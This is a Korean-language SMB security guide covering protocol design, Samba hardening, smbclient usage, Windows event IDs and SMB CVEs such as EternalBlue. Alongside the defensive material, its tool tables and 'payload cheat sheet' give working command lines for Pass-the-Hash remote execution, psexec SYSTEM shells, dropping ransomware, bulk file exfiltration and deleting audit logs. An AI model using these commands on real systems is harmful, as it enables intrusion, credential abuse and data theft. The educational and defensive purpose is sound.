본문 바로가기
인프라/네트워크

SMB

💡 SMB (Server Message Block) 심층 분석 및 인프라 보안 실무 가이드 (Master Spec)

📌 핵심 요약 (TL;DR)

  • 본질: Windows 및 이기종 네트워크 환경에서 파일, 프린터, IPC(네임드 파이프) 등의 자원을 공유하기 위해 설계된 L7 기반의 핵심 분산 파일 시스템 프로토콜임.
  • 위협 및 목적: 공격자에게 있어 SMB는 인프라 침투 후 자격증명을 탈취하여 전사망으로 퍼져나가는 횡적 이동(Lateral Movement)의 고속도로이며, 랜섬웨어(WannaCry 등)의 자가 증식 및 악성 C2 통신에 가장 광범위하게 악용되는 공격 표면임.
  • 대응 방안: 레거시 프로토콜(SMBv1)을 커널 레벨에서 원천 비활성화하고, SMB Signing 강제 및 암호화(SMBv3)를 적용하며, 망분리 게이트웨이(OPNsense)와 NIDS를 통해 불필요한 445번 포트의 횡단 트래픽을 엄격히 통제해야 함.


📑 목차 (Table of Contents)


⚠️ 면책 조항 (Disclaimer)
본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 VM 및 합법적 모의해킹 계약 범위)에서만 수행됨.
허가되지 않은 타인의 시스템에 대한 무단 접근 및 페이로드 주입 시도는 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제48조 위반으로 형사처벌 대상임.
모든 분석은 벤더사 공식 레퍼런스 및 NVD 공인 데이터를 기반으로 작성됨.

📖 학습 목적: 보안 취약점의 동작 원리를 이해하고 방어 전략을 수립하기 위한 학습 및 지식 공유 목적임. 모든 실습은 허가된 통제 환경에서만 진행함.


자주 등장하는 용어 (초보자 참고)

약어 전체 명칭 한 줄 설명
CIFS Common Internet File System 1990년대 마이크로소프트가 SMBv1을 기반으로 인터넷 호환성을 높여 발표한 구형 확장 규격임
Samba - Linux/UNIX 환경에서 Windows의 SMB/CIFS 프로토콜을 에뮬레이션하여 이기종 간 파일 공유를 지원하는 데몬임
IPC$ Inter-Process Communication Share 시스템 관리 목적으로 프로세스 간 통신(RPC, Named Pipe)을 지원하는 숨겨진 기본 관리자 공유 폴더임
NTLM NT LAN Manager Windows 환경의 고전적인 챌린지-리스폰스 기반 인증 프로토콜로, 해시 탈취 시 릴레이 공격에 취약함
Kerberos - NTLM을 대체하는 Windows Active Directory 환경의 현대적 티켓(Ticket) 기반 상호 인증 프로토콜임
PtH Pass-the-Hash 평문 비밀번호 대신 메모리에서 탈취한 NTLM 해시값을 그대로 인증 패킷에 던져 로그인하는 해킹 기법임
SMB Signing SMB 서명 통신 패킷에 디지털 서명을 첨부하여 중간자 공격(MITM) 및 패킷 위변조를 방지하는 무결성 검증 메커니즘임
MS17-010 EternalBlue NSA에서 유출된 후 전 세계를 강타한 SMBv1 커널 원격 코드 실행(RCE) 0-day 취약점의 코드명임
Named Pipe 네임드 파이프 네트워크를 통해 두 프로세스가 데이터를 주고받을 수 있게 해주는 IPC 메커니즘으로 SMB 패킷 안에 캡슐화됨
DFS Distributed File System 분산된 여러 서버의 공유 폴더를 논리적으로 묶어 단일 디렉터리 트리처럼 보여주는 기능임

1. 🏗️ 아키텍처 및 랩(Lab) 토폴로지

  • 난이도: 고급
  • 주제 분류: 인프라 아키텍처 / Active Directory 보안 / 모의해킹 및 DFIR
  • 핵심 키워드: #SMB #Samba #EternalBlue #PassTheHash #인프라보안
  • 사전 지식: Windows AD 구조, TCP 445 기반 라우팅, NTLM 인증 구조, 리눅스 Samba 설정

(💡 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인 권장함.)

구분 OS / 플랫폼 (버전 필수) 컨테이너 / 네트워크 환경 IP 대역 인프라 내 역할
공격 (Red) Kali Linux 2026.x 네이티브 모의 공격망 10.0.0.50/24 crackmapexec, smbmap, Metasploit을 활용하여 인프라 정찰 및 횡적 이동(Lateral Movement) 사출용 노드임
타겟 (Target) Windows Server 2019 / Ubuntu 24.04 온프레미스 망분리 대상 서버 10.0.0.100/24 파일 공유 서버 및 AD 도메인 컨트롤러로, 취약한 공유 권한 및 NTLM 인증을 허용하는 대상 시스템임
방어 (Blue) Graylog 5.x / OPNsense 온프레미스 망분리 게이트웨이 10.0.0.200/24 Windows Event Log(4624/5140) 중앙 수집 및 Suricata L7 페이로드 스니핑을 통한 악성 횡단 통제 서버임

아키텍처 통신 흐름도 (SMB 횡적 이동 킬체인 워크플로우)

[공격자 / Attacker : 10.0.0.50]                 [타겟 서버 : 10.0.0.100]
          |                                              |
          |-- (1) 정찰: 포트 445 스캐닝 및 배너 식별 ------->|
          |<- (2) 응답: SMB Dialect 협상 및 OS 정보 반환 ----|
          |                                              |
          |-- (3) 권한 획득: Pass-the-Hash 또는 익명 IPC$ 연결 ->|
          |<- (4) 정보 탈취: 사용자 목록, 로컬 그룹, 정책 덤프 --|
          |                                              |
          |-- (5) 악성 행위: 관리자 공유(C$) 마운트 및 psexec RCE ->|

2. 🧠 핵심 개념 및 기술적 정의

2-1. 상세 정의 및 동작 메커니즘

  • 정의: 애플리케이션 계층(L7)에서 클라이언트가 서버의 파일, 디렉터리, 프린터 및 네임드 파이프에 접근할 수 있도록 API를 제공하는 네트워크 파일 공유 프로토콜임.
  • 탄생 배경: 1980년대 IBM이 로컬 네트워크 상의 자원 공유를 위해 고안했으며, 이후 Microsoft가 이를 대대적으로 확장하여 Windows 운영체제의 핵심 네트워킹 근간으로 발전시킴.
  • 인프라 내 역할: 온프레미스 사내망(Intranet)에서 부서 간 공용 폴더(NAS) 접근, GPO(그룹 정책) 배포 시 SYSVOL 폴더 읽기, 프린터 스풀링, RPC 원격 프로시저 호출 등 인프라의 혈관 역할을 수행함.
  • 메커니즘 (Request-Response 아키텍처):
    • 클라이언트가 서버(TCP 445)에 접속하여 사용 가능한 프로토콜 버전(Dialect)을 협상함(Negotiate).
    • 인증(Session Setup)을 거쳐 자격증명(NTLM/Kerberos)을 검증함.
    • 트리 연결(Tree Connect)을 통해 특정 공유 자원(예: \\Server\Share)에 맵핑을 완료한 후, File Open/Read/Write 패킷을 교환함.

2-2. MITRE ATT&CK & Kill Chain 매핑

Kill Chain Phase MITRE Tactic (전술) Technique (기법) ID
Reconnaissance Discovery Network Service Discovery T1046
Reconnaissance Discovery System Network Connections Discovery T1049
Execution Execution Windows Management Instrumentation (WMI/SMB) T1047
Exploitation Lateral Movement Remote Services: SMB/Windows Admin Shares T1021.002
Exploitation Lateral Movement Exploitation of Remote Services (MS17-010) T1210
Actions on Objectives Credential Access Use Alternate Authentication Material: Pass the Hash T1550.002

3. ⚙️ 주요 특징 및 통신 규격 (전수 명세)

3-1. 기술적 핵심 특징 (8대 요소)

  • 특징 1 — 다중 다이얼렉트(Dialect) 버전 진화:
    • SMBv1: 1990년대 규격으로 평문 전송 및 극단적 취약성(WannaCry)을 지녀 현재 사용이 엄격히 금지됨.
    • SMBv2: Windows Vista 시절 도입되어 패킷 크기를 키우고 명령어 수를 대폭 축소하여 성능을 극대화함.
    • SMBv3: Windows 8 도입 이후 종단 간 암호화(AES) 및 세션 멀티채널을 지원하는 현대적 보안 표준임.
  • 특징 2 — 네임드 파이프 기반 RPC 캡슐화: 단순 파일 공유를 넘어, Windows 원격 프로시저 호출(DCE/RPC) 트래픽을 SMB 패킷(IPC$) 내부에 담아 전송하는 백본 버스 역할을 함.
  • 특징 3 — 오플록 (Oplocks / Opportunistic Locks): 클라이언트가 파일을 로컬에 캐싱하여 네트워크 지연 없이 읽고 쓰도록 제어권을 부여하는 고성능 파일 잠금 메커니즘을 지원함.
  • 특징 4 — 동적 협상 (Negotiation): 클라이언트와 서버가 연결 초기 단계에서 서로 지원하는 가장 높은 암호화 수준과 SMB 버전을 자동으로 조율하여 호환성을 보장함.
  • 특징 5 — 무결성 보호 (SMB Signing): 통신 패킷에 HMAC 또는 AES-CMAC 해시 기반 디지털 서명을 첨부하여, NTLM Relay 공격 등 중간자 패킷 변조를 커널 레벨에서 차단함.
  • 특징 6 — 투명한 암호화 (SMB Encryption): SMBv3.0 이상부터 패킷 전체를 AES-128/256으로 암호화하여 별도의 VPN이나 IPsec 없이도 L7 스니핑을 원천 무력화함.
  • 특징 7 — 멀티 채널 (SMB Multichannel): 서버와 클라이언트 간에 여러 개의 네트워크 인터페이스를 동시에 묶어 대역폭을 선형적으로 증가시키고 장애 조치(Failover)를 제공함.
  • 특징 8 — DFS (분산 파일 시스템) 통합: 물리적으로 흩어진 여러 서버의 공유 디렉터리들을 하나의 논리적 네임스페이스(예: \\Domain\Public)로 통합 관리하는 엔터프라이즈 기능을 내장함.

3-2. 실무 관점 장단점 (Pros & Cons 전수 명세)

구분 시스템 관점 특성 보안 및 실무 관점의 트레이드오프
장점 1 압도적인 OS 네이티브 통합 Windows 환경에서 별도의 클라이언트 설치 없이 탐색기에서 UNC 경로(\\IP\Share)만으로 즉각 마운트됨
장점 2 강력한 퍼미션 연동 Active Directory의 Kerberos 토큰 및 NTFS 파일 시스템 권한(ACL)과 1:1로 완벽하게 매핑되어 통합 권한 관리가 용이함
장점 3 고가용성 및 스케일 아웃 Scale-Out File Server(SOFS) 및 클러스터링을 지원하여 엔터프라이즈급 무중단 스토리지 아키텍처 구성이 가능함
장점 4 다용도 관리 프로토콜 원격 레지스트리 편집, 서비스 제어(sc.exe), 원격 쉘 실행(psexec) 등 단순 파일을 넘어선 인프라 제어 통로임
장점 5 이기종 간의 완벽한 브릿지 리눅스(Samba) 및 macOS 환경에서도 완벽히 지원되어 사내 표준 L7 파일 공유 프로토콜로 자리 잡음
단점 1 랜섬웨어 확산의 하이패스 관리자 권한이 뚫리면 IPC$ 및 C$ 관리자 공유를 통해 웜(Worm)처럼 전사 네트워크를 순식간에 암호화해버림
단점 2 레거시 버전의 파괴적 취약성 SMBv1이 아직 인프라 구석(구형 NAS, 복합기 등)에 남아있을 경우 EternalBlue와 같은 치명적 0-day의 영원한 표적이 됨
단점 3 NTLM Relay 공격 노출 SMB Signing이 강제되어 있지 않으면, 공격자가 중간에서 인증 해시를 가로채 다른 서버의 관리자로 둔갑할 수 있음
단점 4 과도한 네트워크 트래픽 핑거프린팅 암호화되지 않은 이전 버전(SMBv2 이하)은 어떤 파일을 읽고 쓰는지 파일명과 확장자가 L7 패킷 스니핑에 그대로 노출됨
단점 5 방화벽 외부 노출의 위험성 TCP 445 포트가 실수로 외부 퍼블릭 인터넷(NAT 인바운드)에 개방되는 순간, 수 분 내로 글로벌 스캐너에 적발되어 해킹됨

3-3. 서비스 포트 및 통신 규격 (IANA Protocol Specification 전체)

포트 프로토콜 서비스명 IANA 공식 역할 보안 위협 및 공격 벡터
137 UDP NetBIOS Name 로컬 네트워크에서 컴퓨터 이름(NetBIOS Name)을 IP 주소로 브로드캐스트 매핑함 LLMNR/NBT-NS Poisoning 공격을 통해 해커의 위조된 IP로 트래픽을 유도함
138 UDP NetBIOS Datagram 로컬 브로드캐스트, 브라우징 및 도메인 마스터 브라우저 선거 통신에 사용됨 구형 네트워크 토폴로지 정보를 노출하는 정보 수집 공격에 쓰임
139 TCP NetBIOS Session NetBIOS over TCP/IP (NBT) 기반으로 구형 Windows 통신 및 파일 공유 세션을 맺음 SMB 445 포트 차단 시 폴백(Fallback) 우회 포트로 악용되어 인증 브루트포스 타겟이 됨
445 TCP Microsoft-DS NetBIOS를 배제하고 TCP/IP 위에서 직접(Direct Hosted) 구동되는 현대 SMB 핵심 포트임 EternalBlue 등 커널 RCE의 주 타겟이자, Psexec 원격 쉘 횡적 이동의 유일한 출입구임

4. 🛠️ 인프라 셋업 및 구축 명세

4-1. 사전 요구 사항 (Dependencies)

  • 운영체제 환경: Linux (Ubuntu 24.04 LTS) 또는 Windows Server 2019/2022
  • 패키지 설치 (Linux): samba, smbclient
  • 방화벽 룰셋: 온프레미스 라우터(OPNsense)에서 내부망 클라이언트에서 서버 방향으로만 TCP 445를 허용하고, 인터넷 외부망 인바운드는 절대적(100%)으로 Drop 차단해야 함.

4-2. 시스템 구축 및 보안 하드닝 (Ubuntu Samba Step-by-Step)

# [Step 1: 온프레미스 서버에 Samba 데몬 및 클라이언트 패키지 설치]
sudo apt update && sudo apt install -y samba smbclient

# [Step 2: 기본 smb.conf 환경 설정 파일 백업 및 SMBv1 원천 차단 하드닝]
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
sudo bash -c 'cat <<EOF > /etc/samba/smb.conf
[global]
   workgroup = WORKGROUP
   server string = Secure On-Premise SMB
   server role = standalone server
   obey pam restrictions = yes
   # [핵심 보안 하드닝 파라미터]
   min protocol = SMB2
   server min protocol = SMB2
   client max protocol = SMB3
   server signing = mandatory
   smb encrypt = required
   restrict anonymous = 2

[SecureData]
   path = /opt/secure_data
   read only = no
   browsable = yes
   valid users = @smb_users
EOF'

# [Step 3: 서비스 그룹 생성 및 전용 유저 세팅]
sudo groupadd smb_users
sudo useradd -M -s /sbin/nologin -G smb_users elpam
sudo smbpasswd -a elpam
sudo mkdir -p /opt/secure_data
sudo chown -R elpam:smb_users /opt/secure_data

# [Step 4: 데몬 재기동 및 445번 포트 리스닝 무결성 검증]
sudo systemctl restart smbd nmbd
sudo systemctl enable smbd nmbd
ss -tnlp | grep -E '445|139'

5. 📖 상세 명세 (명령어 / 실행 옵션 / 상태 코드 전수 목록)

5-1. 기본 구문 및 명령어 구조 (Syntax)

📌 Syntax 표기법: &lt;필수항목&gt; = 반드시 입력 (Required) · [선택항목] = 생략 가능 (Optional)

# OS 내장 SMB 클라이언트(Linux) 연결 구문
smbclient [옵션_플래그] //&lt;타겟_IP_또는_호스트명&gt;/&lt;공유폴더명&gt; [-U &lt;사용자명&gt;]

# Windows OS 탐색기 마운트 구문 (CMD)
net use &lt;드라이브문자&gt;: \\&lt;타겟_IP&gt;\&lt;공유폴더명&gt; /user:&lt;도메인&gt;\&lt;계정명&gt; &lt;패스워드&gt;

파라미터별 상세 설명

파라미터 필수 여부 타입 역할 및 설명 실전 값 예시
smbclient 필수 실행 파일 리눅스 터미널에서 구동되는 표준 SMB/CIFS 접속 클라이언트임 smbclient
[옵션_플래그] 선택 플래그 디버그 출력, 익명 접속, 패스워드 해시 전달, 암호화 강제 등을 통제함 -L, -N, -p, --pw-nt-hash, -e
//&lt;타겟_IP&gt;/&lt;폴더&gt; 필수 경로 연결할 대상 서버의 IP와 공유 디렉터리의 UNC 경로 형식임 //10.0.0.100/SecureData
-U &lt;사용자명&gt; 선택 인증에 사용할 계정명(필요시 도메인 포함)을 지정함 -U elpam, -U CORP\\admin

5-2. 실행 옵션 및 제어 플래그 (Execution Flags 전체)

플래그 동작 원리 및 공식 매뉴얼 기반 전체 설명 완전한 실전 사용 예시 실무/보안 활용 관점
-L &lt;호스트&gt; 타겟 서버에 접속하여 사용 가능한 전체 공유 폴더 목록(Share List)을 열거하여 콘솔에 덤프함 smbclient -L 10.0.0.100 -U elpam 정보 수집 단계에서 숨겨진 관리자 공유(C$, IPC$) 오픈 여부를 식별할 때 쓰임
-N 연결 시 패스워드를 묻지 않는 익명(Null Session) 접속을 강제로 시도함 smbclient -L //10.0.0.100 -N 취약한 레거시 윈도우 인프라에서 익명 접근 허용 여부를 초고속으로 스캐닝할 때 쓰임
-U &lt;유저%패스워드&gt; 사용자명과 패스워드를 인라인으로 즉시 전달하여 프롬프트 대기 없이 비대화형 인증을 수행함 smbclient //10.0.0.100/C$ -U admin%Password123! 파이썬 자동화 스크립트나 무차별 대입 공격 툴체인과 연동할 때 쓰임
-c &lt;명령어&gt; 인터랙티브 쉘로 진입하지 않고, 단일 명령(예: ls, get)만 실행한 후 즉시 소켓을 끊고 종료함 smbclient //10.0.0.100/data -U user%pass -c "ls" 원격 서버의 특정 파일 존재 유무만 빠르게 찍고 빠지는 자동화 헌팅에 쓰임
-p &lt;포트&gt; 접속할 대상 포트를 기본 445번에서 비표준 커스텀 포트로 강제 우회 설정함 smbclient -L 10.0.0.100 -p 4455 방화벽 검사를 피하기 위해 포트 포워딩된 은닉 SMB 터널에 접속할 때 쓰임
-m &lt;버전&gt; 타겟 서버와 협상할 SMB Dialect 최대 버전을 강제로 지정함 (NT1, SMB2, SMB3) smbclient //10.0.0.100/IPC$ -U elpam -m SMB2 취약점 타격을 위해 특정 구버전 프로토콜 스택으로 강제 다운그레이드 접속할 때 쓰임
-W &lt;도메인&gt; Active Directory 환경에서 인증 시 사용할 워크그룹 또는 도메인 명을 명시적으로 지정함 smbclient //10.0.0.100/SYSVOL -W CORP -U admin 복잡한 다중 포리스트 AD 환경에서 정확한 KDC 티켓 인증을 유도할 때 쓰임
--pw-nt-hash 평문 패스워드 대신 탈취한 NTLM 해시 문자열을 전달하여 Pass-the-Hash 기법을 로우 레벨로 사출함 smbclient //10.0.0.100/C$ -U admin --pw-nt-hash <해시값> 크랙되지 않는 강력한 패스워드를 우회하여 해시값만으로 시스템 통제권을 장악할 때 쓰임
-e 서버와의 세션 연결 시 SMB3 이상의 종단 간 암호화(Encryption) 통신을 강제 요구함 smbclient //10.0.0.100/data -U elpam -e 네트워크 스니핑 구간을 통과해야 할 때 페이로드 유출을 방어할 목적으로 쓰임
-d &lt;레벨&gt; 프로토콜 동작을 추적하기 위해 디버깅 출력 로그의 상세 수준(0~10)을 지정함 smbclient //10.0.0.100/data -U elpam -d 3 인증 실패나 연결 거부 등 장애 발생 시 패킷 덤프 없이 원인을 심층 포렌식할 때 쓰임

5-3. 비대화형 정찰 및 익스플로잇 도구 (Offensive Tooling)

명령어 (Tool) 파싱 메커니즘 및 런타임 결과 완전한 실전 사용 예시
crackmapexec (CME) Python 기반의 스위스 아미 나이프로, SMB 병렬 인증, 공유 폴더 덤프, PtH, 커맨드 실행(RCE)을 일괄 폭격함 crackmapexec smb 10.0.0.0/24 -u admin -p pass123 --shares
smbmap 제공된 자격증명을 바탕으로 권한(Read/Write)에 따라 폴더 목록 색상 맵핑 및 파일 재귀 다운로드를 수행함 smbmap -H 10.0.0.100 -u admin -p Password -R C$
enum4linux Null Session(익명)을 이용해 타겟 서버의 SID, 로컬 유저 그룹 명단, 도메인 정책, 공유 목록을 전부 스크래핑함 enum4linux -a 10.0.0.100
impacket-psexec SMB 통신(IPC$ 및 ADMIN$)을 통해 원격지에 윈도우 서비스를 임시 생성하고 System 권한 쉘을 반환함 psexec.py CORP/admin:Pass@10.0.0.100

5-4. 대화형 내부 명령어 (Interactive Shell 전수 명세)

(SMB 프롬프트 smb: \&gt; 에 진입한 이후 사용하는 파일 시스템 제어 커맨드 전수 명세임.)

내부 명령 기술적 동작 및 설명 실전 타이핑 예시 적용 시나리오
ls 또는 dir 타겟 공유 폴더 내의 파일 트리 및 ACL 메타데이터(크기, 수정일)를 열거하여 출력함 ls -l 공유 폴더 접근 성공 직후 랜섬웨어 노트나 민감한 구성 파일을 헌팅할 때 씀
cd 공유 디렉터리 트리 내에서 작업 경로를 강제 변경함 (윈도우 역슬래시 \ 사용 지원) cd \Users\Administrator\Desktop 관리자 데스크탑 경로로 횡적 이동하여 평문 패스워드 메모장 등을 탈취할 경로를 잡을 때 씀
lcd 클라이언트 공격자 PC의 로컬 작업 디렉터리 위치를 변경함 lcd /root/loot/ 탈취한 AD 데이터베이스(ntds.dit) 덤프를 저장할 로컬 안전 가옥을 지정할 때 씀
get 타겟 파일 한 개를 클라이언트 로컬로 무단 복사 다운로드함 get web.config 웹 서버 설정 파일 내에 하드코딩된 SQL DB 접속 평문 자격증명을 탈취할 때 씀
mget 마스크(*)를 사용하여 조건에 맞는 복수의 파일을 순회하며 대량으로 쓸어 담음 mget *.docx 기밀문서 폴더에 침입하여 워드 문서 전체를 정보 반출(Exfiltration)할 때 씀
put 로컬 공격자 머신에 있는 악성 페이로드(exe, dll)를 타겟 서버 디스크로 직접 밀어 넣음 put ransomware.exe 쓰기 권한이 탈취된 공유 폴더에 랜섬웨어나 C2 에이전트(Cobalt Strike)를 드롭할 때 씀
mput 다수의 공격 유틸리티 및 스크립트를 서버 폴더에 일괄 투하함 mput *.ps1 포스트 익스플로잇 파이프라인 자동화를 위해 파워쉘 스크립트 세트를 타겟에 쏟아부을 때 씀
rename 타겟 서버에 존재하는 물리적 파일의 이름이나 확장자를 원격에서 변경 조작함 rename old.exe new.txt 악성 바이너리를 텍스트 확장자로 위장시켜 방어 솔루션의 파일 스캐닝을 우회할 때 씀
rm / del 타겟 서버 디스크에 존재하는 원본 파일을 물리적으로 강제 삭제 처리함 rm audit.log 침입 흔적(Anti-Forensics)인 안티바이러스 스캔 로그를 날려버려 관제를 블라인드할 때 씀
mkdir / rd 서버 파일 시스템 상에 새로운 디렉터리를 생성하거나 빈 폴더를 날림 mkdir C:\Temp\Evil 지속성(Persistence) 유지를 위해 윈도우 임시 폴더 깊숙한 곳에 백도어 은닉처를 공사할 때 씀
recurse 디렉터리 조작 명령어(mget, mput) 수행 시 하위 디렉터리까지 재귀적으로 일괄 적용되도록 모드를 토글함 recurse ON 공유 폴더 최상위에서 한 번의 명령으로 수천 개의 하위 폴더 트리 구조와 데이터를 통째로 흡수할 때 씀
prompt 다중 파일 조작(mget 등) 시 Y/N을 묻는 확인 프롬프트를 비활성화하여 강제 일괄 처리를 유도함 prompt OFF 스텔스 작전 중 터미널 입력 대기 없이 초고속으로 수만 개의 타겟 폴더를 조작할 때 씀
tarmode 타겟 서버의 디렉터리를 통째로 tar 포맷 묶음 아카이브로 실시간 스트리밍 압축하여 가져오는 특수 플래그임 tarmode full 디렉터리 전송 오버헤드를 극한으로 줄이고 거대한 네트워크 드라이브를 단일 파일 형태로 압축 강탈할 때 씀
logon 현재 세션을 끊지 않은 상태에서 새로운 ID/PW 자격증명 컨텍스트로 인증을 재시도함 logon admin Password123 낮은 권한으로 접속 후 정찰 중 획득한 고권한 계정으로 즉시 쉘 권한 승격(PrivEsc)을 찌를 때 씀
help / ? smbclient 쉘 내부에서 사용할 수 있는 전체 명령어 리스트와 사용법을 콘솔에 출력함 help recurse 명령어의 파라미터 규격이 기억나지 않을 때 즉각적인 레퍼런스로 활용함
quit / exit 연결된 제어 채널을 안전하게 종료하고 OS 터미널 프롬프트로 복귀함 quit 모든 정보 탈취 및 페이로드 딜리버리 작전을 완수한 후 데몬에 에러 로그를 남기지 않고 로그아웃할 때 씀

5-5. 프로토콜 응답 상태 코드 (NT_STATUS 전수 명세)

(SMB 서버가 L7 응답 패킷 헤더에 반환하는 16진수 커널 상태 코드의 보안적 의미임.)

상태 코드 (Hex / Name) 응답 사유 및 통신 양상 보안 방어 관점의 탐지 및 에러 해결 의미
0x00000000 (STATUS_SUCCESS) 프로토콜 명령이 정상 인가되어 파일 읽기/쓰기 또는 세션 수립이 완벽히 승인됨 공격 패킷이 차단 없이 시스템 커널에 안착했다는 치명적인 인프라 함락 지표임
0xC0000022 (STATUS_ACCESS_DENIED) 자격증명은 올바르나 파일 및 IPC$ 파이프에 대한 NTFS/공유 읽기 권한이 부족하여 커널에서 블락당함 권한이 낮은 탈취 계정으로 고권한 인프라(C$)를 스캐닝하려는 횡적 이동 시도를 헌팅하는 핵심 로깅 포인트임
0xC0000034 (STATUS_OBJECT_NAME_NOT_FOUND) 클라이언트가 요청한 특정 파일이나 디렉터리 경로가 타겟 드라이브에 물리적으로 존재하지 않음 스크립트를 통한 맹목적인 악성코드 드롭오프 폴더 헌팅(예: 고정된 C2 경로 탐색) 흔적을 추적할 때 쓰임
0xC000006D (STATUS_LOGON_FAILURE) 전달된 사용자 계정이 존재하지 않거나, 패스워드 및 NTLM 해시값이 불일치하여 인증이 거부됨 1분 내 이 오류 코드가 수백 회 쏟아진다면 명백한 딕셔너리 기반 브루트포스 킬체인이 가동 중임을 의미함
0xC0000071 (STATUS_PASSWORD_EXPIRED) 사용자의 인증 정보는 올바르나, AD 보안 정책에 의해 해당 계정의 패스워드 유효기간이 만료되어 갱신이 필요함 탈취한 계정이 오래전 방치된 좀비 계정임을 파악하고, 방어자에게는 계정 라이프사이클 관리 실패를 알림
0xC00000CC (STATUS_BAD_NETWORK_NAME) 클라이언트가 요청한 특정 공유 폴더 이름(\\Server\Share)이 시스템 볼륨 매핑에 존재하지 않음 공격 도구(Enum4linux 등)가 디폴트 은닉 폴더 리스트를 무작위로 찔러보는 기계적 정찰(Recon) 흔적임
0xC0000234 (STATUS_ACCOUNT_LOCKED_OUT) 브루트포스 임계치 초과로 인해 Active Directory나 로컬 SAM 정책에 의해 타겟 계정이 물리적으로 잠금 처리됨 공격자가 사내 AD 계정을 의도적으로 서비스 거부(DoS) 상태로 만들어 업무 마비를 유발했음을 시사함
0xC00000BB (STATUS_NOT_SUPPORTED) 클라이언트가 서버 커널 스택에서 지원하지 않는 구형 Dialect(SMB1) 또는 명령어 세트를 강제 호출함 모의 공격이나 악성 봇이 레거시 취약점을 타격하려다 서버의 최신 프로토콜 하드닝(SMBv2+ 강제) 룰셋에 차단된 상태임
0xC00000E5 (STATUS_INTERNAL_ERROR) SMB 세션 수립 중 커널의 치명적 오류가 발생함. 암호화 서명 충돌 혹은 커널 풀 충돌(Pool Corruption)의 여파임 EternalBlue(MS17-010)와 같은 버퍼 오버플로우 공격 시도 시 메모리 공간이 깨져 쉘코드 런타임에 실패했을 때 관측되는 강력한 익스플로잇 지표임

5-6. DFIR: 로그 및 트래픽 탐지 포인트 (블루팀 헌팅 지표)

  • Windows 보안 이벤트 인증 관제: Event ID 4624 (Logon Success)Event ID 4625 (Logon Failure) — Logon Type 3(네트워크 접속) 형태의 인증 성공/실패 로그가 심야 시간대나 비정상 대역(VPN 외 IP)에서 폭증하는지 Graylog SIEM에서 코릴레이션(Correlation) 분석함.
  • Windows 파일 및 공유 횡적 추적: Event ID 5140 (A network share object was accessed) — 특정 계정이 업무와 무관하게 전사 서버의 관리자 권한 공유인 C$IPC$ 볼륨에 일괄 연결을 시도하는 아노말리를 즉각 인지하여 랜섬웨어 초기 확산 단계를 차단함.
  • L7 네트워크 페이로드 스니핑: Suricata NIDS 알람 — 포트 445 통신 패킷 바디에서 커널 RPC 함수(예: srvsvc, samr, lsarpc) 바인딩 요청 서명이 평문 식별될 경우, 익명 계정을 통한 로컬 유저 그룹 리스트 스크래핑 공격 행위로 확증함.
  • Pass-the-Hash 비정상 티켓 헌팅: AD 도메인 컨트롤러 로그 시그니처 — 정상적인 Kerberos Ticket Granting(AS-REQ/TGS-REQ) 시퀀스를 거치지 않고, NT 해시값 하나만으로 NTLM SSP 인증(Event ID 4624, Package Name: NTLM V2)이 성립되는 바이패스 흐름을 정밀 교차 검증함.

원시 로그(Raw Log) 및 패킷 캡처 덤프

# [File: Windows Security Event Log — Event ID 4624 (네트워크 로그인 성공 흔적)]
LogName=Security
EventCode=4624
Message=An account was successfully logged on.
Subject:
    Security ID:        NULL SID
    Account Name:        -
Logon Information:
    Logon Type:        3  [💡 네트워크 접속(SMB)을 의미함]
    Authentication Package:    NTLM
Network Information:
    Workstation Name:    KALI-ATTACKER
    Source Network Address:    10.0.0.50

# [File: Suricata NIDS Alert — Psexec(원격 서비스 생성) 기반 횡적 이동 헌팅 흔적]
05/11/2026-23:45:10.123  [**] [1:2018959:4] ET POLICY SMB/DCE-RPC SVCCTL Service Control Manager Access (psexec) [**] {TCP} 10.0.0.50:48932 -> 10.0.0.100:445

6. 🚀 핵심 페이로드 치트시트 (Cheat Sheet)

페이로드 (One-Liner) 파싱 메커니즘 및 런타임 결과 목적 / 우회 기법
crackmapexec smb 10.0.0.0/24 -u admin -H 32ed87b... --local-auth -x "whoami" 탈취한 NTLM 해시만으로 대상 서브넷 전역(10.0.0.0/24)에 병렬 인증을 꽂아 넣고 WMI/SMB를 경유해 원격 명령어 쉘을 일괄 사출함 평문 비밀번호 크래킹 시간을 0으로 수렴시키고, 다수의 윈도우 인프라를 수 초 만에 일거에 장악(PtH)할 때 쓰임
smbmap -u null -p "" -H 10.0.0.100 사용자/패스워드 필드를 Null(비어있음) 상태로 던져 서버의 권한 검증 로직을 타격, 허용된 익명(Anonymous) 공유 트리 전체를 매핑 덤프함 시스템 설정 미비로 외부에 뚫려 있는 관리자용 임시 백업 폴더나 IPC$ 오픈 상태를 즉각 스캐닝할 때 쓰임
psexec.py administrator@10.0.0.100 -hashes aad3b...:e52ca... 파이썬 Impacket 라이브러리를 통해 타겟 서버 ADMIN$ 공유에 악성 윈도우 서비스를 런타임 설치하고 명명된 파이프로 통신 쉘을 바인딩함 안티바이러스의 메모리 스캐닝을 우회하고 System 최고 권한의 영구적인 리버스 통로를 뚫어낼 때 쓰임

7. 🎯 심층 킬체인 워크플로우 (Deep Dive)

7-1. 취약점 식별 (CVE / CWE 전수 명세)

식별 코드 취약점 명칭 및 익스플로잇 원리 CVSS v3.1 파급력 (Impact) 대응/패치
MS17-010 (CVE-2017-0144) EternalBlue (SMBv1 커널 RCE) — SRV.SYS 커널 드라이버가 패킷 크기 계산 시 잘못된 타입 캐스팅을 수행하여 Non-paged 풀 메모리에 악성 쉘코드를 오버플로우시키는 인류 역사상 최악의 논리 결함임 8.1 (High) 인증 프로세스 자체가 필요 없이 타겟 Windows 시스템을 커널 System 권한으로 완전 마비 및 통제하여 WannaCry 랜섬웨어 대란을 촉발함 레지스트리에서 SMBv1 프로토콜 자체를 영구 셧다운 처리하고, MS 긴급 누적 보안 패치(KB4013389)를 일괄 적용함
CVE-2020-0796 SMBGhost (SMBv3 압축 해제 RCE) — SMB 3.1.1 버전의 데이터 압축(Compression) 헤더 파싱 과정에서 발생한 버퍼 오버플로우로 인증 없는 커널 RCE를 유발하는 신형 0-day임 10.0 (Critical) 최신 Windows 10 및 Server 2019 코어 인프라에 웜블루(Wormable) 형태의 연쇄 횡단 감염 파괴망을 형성함 긴급 패치 전까지 DisableCompression 레지스트리 키를 활성화하여 L7 프로토콜 레벨의 압축 기능을 강제 비활성화함
